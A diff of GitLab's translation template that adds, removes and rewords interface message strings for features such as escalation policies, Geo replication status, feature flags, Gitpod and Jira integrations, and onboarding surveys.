@@ -11874,13 +11986,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16171,9 +16407,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16183,9 +16434,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19558,7 +19929,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
